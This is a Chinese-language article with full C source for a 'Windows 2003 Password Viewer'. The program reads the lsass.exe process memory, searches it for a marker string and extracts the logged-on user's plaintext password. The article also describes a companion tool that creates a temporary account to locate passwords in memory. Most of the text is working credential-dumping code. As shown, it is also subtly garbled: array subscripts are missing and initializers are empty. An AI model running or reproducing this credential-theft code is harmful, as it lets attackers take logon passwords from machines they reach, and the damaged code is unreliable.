如何在win 2003中得到登陆密码

核心提示： 无论怎说，三种方法中，如何在win 2003中得到登陆密码(3)，最稳定，最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法，并进行模拟登陆，然后搜索"密码"在lsass进程内存中的位置，毕竟是改动了系统的东西，对系统的稳定性来说

无论怎说，三种方法中，最稳定，最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法，毕竟是改动了系统的东西，对系统的稳定性来说，会有考验，直接搜索lsass进程内存的方法呢，虽说也是困难，但准确性，成功率却又是低。

下面的代码使用的是很笨，而且很原始的搜索方法，主要是搜索Lsass内存中"LocalSystem Remote Procedure"这个字符串，因为在相当多的测试中，密码都是保存在有这个字符串的地址后一点的位置中，当然了，很多系统并没有这个字符串，或者就算有，我们得到的都是错误的密码。

代码: //********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User Password On 2003 Box，The Method
//　　　　　Used Is Pretty Unwise，But This May Be The Only Way To Review The
//　　　　　Logon User's Password On Windows 2003.
// Test PlatForm: Windows 2003
// Compiled On: VC++ 6.0
//********************************************************************************
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define BaseAddress 0x002b5000　　　　// The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address，Which Causes The Result Unreliable
char　Password[MAX_PATH] = ;　　　　// Store The Found Password
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL　FindPassword(DWORD PID); 
int　 Search(char *Buffer，const UINT nSize); 
DWORD GetLsassPID(); 
BOOL　Is2003(); 
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main() 
{ 
DWORD PID = 0; 
printf("Windows 2003 Password Viewer V1.0 By WinEggDrop\n\n");　
if (!Is2003())　　　　// Check Out If The Box Is 2003
{ 
　　 printf("The Program Can't Only Run On Windows 2003 Platform\n"); 
　　 return -1; 
}　
PID = GetLsassPID();　　　　// Get The Lsass.exe PID
if (PID == 0)　　　　// Fail To Get PID If Returning Zerom
{ 
　　 return -1; 
}　
FindPassword(PID);　　　　// Find The Password From Lsass.exe Memory
return 0; 
} 
// End main()
//------------------------------------------------------------------------------------
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:　 
//　　　　　 In: char *Buffer　　　　--> The Memory Buffer To Search　　 
//　　　　　Out: const UINT nSize　 --> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure"，
//　　　 Since The Password Is Near The Above Location，But It's Not Always True That
//　　　 We Will Find The Magic String，Or Even We Find It，The Password May Be Located
//　　　 At Some Other Place.We Only Look For Luck
//------------------------------------------------------------------------------------
int Search(char *Buffer，const UINT nSize) 
{ 
UINT OffSet = 0; 
UINT i = 0; 
UINT j = 0 ; 
UINT Count = 0; 
if (Buffer == NULL) 
{ 
　　 return -1; 
} 
for (i = 0 ; i < nSize ; i++) 
{ 
　　 /* The Below Is To Find The Magic String，Why So Complicated?That Will Thank MS.The Separation From Word To Word
　　　　Is Not Separated With A Space，But With A Ending Character，So Any Search API Like strstr() Will Fail To Locate
　　　　The Magic String，We Have To Do It Manually And Slowly
　　 */ 
　　 if (Buffer == 'L') 
　　 { 
　　　　 OffSet = 0; 
　　　　 if (strnicmp(&Buffer[i + OffSet]，"LocalSystem"，strlen("LocalSystem")) == 0) 
　　　　 { 
　　　　　　 OffSet += strlen("LocalSystem") + 1; 
　　　　　　 if (strnicmp(&Buffer[i + OffSet]，"Remote"，strlen("Remote")) == 0) 
　　　　　　 { 
　　　　　　　　 OffSet += strlen("Remote") + 1; 
　　　　　　　　 if (strnicmp(&Buffer[i + OffSet]，"Procedure"，strlen("Procedure")) == 0) 
　　　　　　　　 { 
　　　　　　　　　　 OffSet += strlen("Procedure") + 1; 
　　　　　　　　　　 if (strnicmp(&Buffer[i + OffSet]，"Call"，strlen("Call")) == 0) 
　　　　　　　　　　 { 
　　　　　　　　　　　　 i += OffSet; 
　　　　　　　　　　　　 break; 
　　　　　　　　　　 } 
　　　　　　　　 } 
　　　　　　 } 
　　　　 } 
　　 } 
} 
if (i < nSize) 
{ 
　　 ZeroMemory(Password，sizeof(Password)); 
　　 for (; i < nSize ; i++) 
　　 { 
　　　　 if (Buffer == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0) 
　　　　 { 
　　　　　　 /* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format，So We Will Do It In
　　　　　　 That Way
　　　　　　 */ 
　　　　　　 j = i + 7; 
　　　　　　 for (; j < nSize; j += 2) 
　　　　　　 { 
　　　　　　　　 if (Buffer[j] >　0) 
　　　　　　　　 { 
　　　　　　　　　　 Password[Count++] = Buffer[j]; 
　　　　　　　　 } 
　　　　　　　　 else 
　　　　　　　　 { 
　　　　　　　　　　 break; 
　　　　　　　　 } 
　　　　　　 } 
　　　　　　 return i + 7;　　　　// One Flag To Indicate We Find The Password
　　　　 } 
　　 } 
} 
return -1;　　　　// Well，We Fail To Find The Password，And This Always Happens
} 
// End Search
//------------------------------------------------------------------------------------
// Purpose: To Get The Lsass.exe PID
// Return Type: DWORD
// Parameters:　None
//------------------------------------------------------------------------------------
DWORD GetLsassPID() 
{ 
HANDLE hProcessSnap; 
HANDLE hProcess = NULL; 
PROCESSENTRY32 pe32; 
DWORD PID = 0;　
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS， 0); 
if( hProcessSnap == INVALID_HANDLE_VALUE ) 
{ 
　　 printf("Fail To Create Snap Shot\n"); 
　　 return 0; 
}　
pe32.dwSize = sizeof(PROCESSENTRY32);　
if( !Process32First(hProcessSnap， &pe32)) 
{ 
　　 CloseHandle(hProcessSnap);　　 // Must clean up the snapshot object!
　　 return 0; 
}　
do 
{ 
　if (strcmpi(pe32.szExeFile，"Lsass.EXE") == 0) 
　{ 
　　　PID = pe32.th32ProcessID; 
　　　break; 
　} 
}while(Process32Next( hProcessSnap， &pe32));　
CloseHandle( hProcessSnap); 
return PID; 
} 
// End GetLsassPID()
//------------------------------------------------------------------------------------
// Purpose: To Find The Password
// Return Type: BOOLEAN
// Parameters:　 
//　　　　　 In: DWORD PID　　　　->　　　　The Lsass.exe's PID
//------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID) 
{ 
HANDLE hProcess = NULL; 
char　 Buffer[5 * 1024] = ; 
DWORD　ByteGet = 0; 
int　　Found = -1;　
hProcess = OpenProcess(PROCESS_VM_READ，FALSE，PID);　　　　// Open Process
if (hProcess == NULL) 
{ 
　　 printf("Fail To Open Process\n"); 
　　 return FALSE; 
}　
if (!ReadProcessMemory(hProcess，(PVOID)BaseAddress，Buffer，5 * 1024，&ByteGet))　　　　// Read The Memory From Lsass.exe
{ 
　　 printf("Fail To Read Memory\n"); 
　　 CloseHandle(hProcess); 
　　 return FALSE; 
}　
CloseHandle(hProcess); 
　 
Found = Search(Buffer，ByteGet);　　　　// Search The Password
if (Found >= 0)　　　　// We May Find The Password
{ 
　　 if (strlen(Password) > 0)　　　　// Yes，We Find The Password Even We Don't Know If The Password Is Correct Or Not
　　 { 
　　　　 printf("Found Password At #0x%x -> \"%s\"\n"，Found + BaseAddress，Password); 
　　 } 
} 
else 
{ 
　　 printf("Fail To Find The Password\n"); 
} 
return TRUE; 
} 
// End FindPassword
//------------------------------------------------------------------------------------
// Purpose: Check If The Box Is Windows 2003
// Return Type: BOOLEAN
// Parameters:　None
//------------------------------------------------------------------------------------
BOOL Is2003() 
{ 
OSVERSIONINFOEX osvi; 
BOOL b0sVersionInfoEx; 
ZeroMemory(&osvi，sizeof(OSVERSIONINFOEX)); 
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);　
if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi))) 
{ 
　　 osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 
} 
return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2); 
} 
// End Is2003()
// End Of File

附件程序相当于密码定位程序，用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.

用法:

1.locator 字符串 -> 在lsass进程内存中搜索指定的那个"字符串"，返回确定的位置

2.Locator 用户名 密码 -> 在系统中建立一个参数指定的用户，并进行模拟登陆，然后搜索"密码"在lsass进程内存中的位置，生成的帐户程序运行完后会自动删除。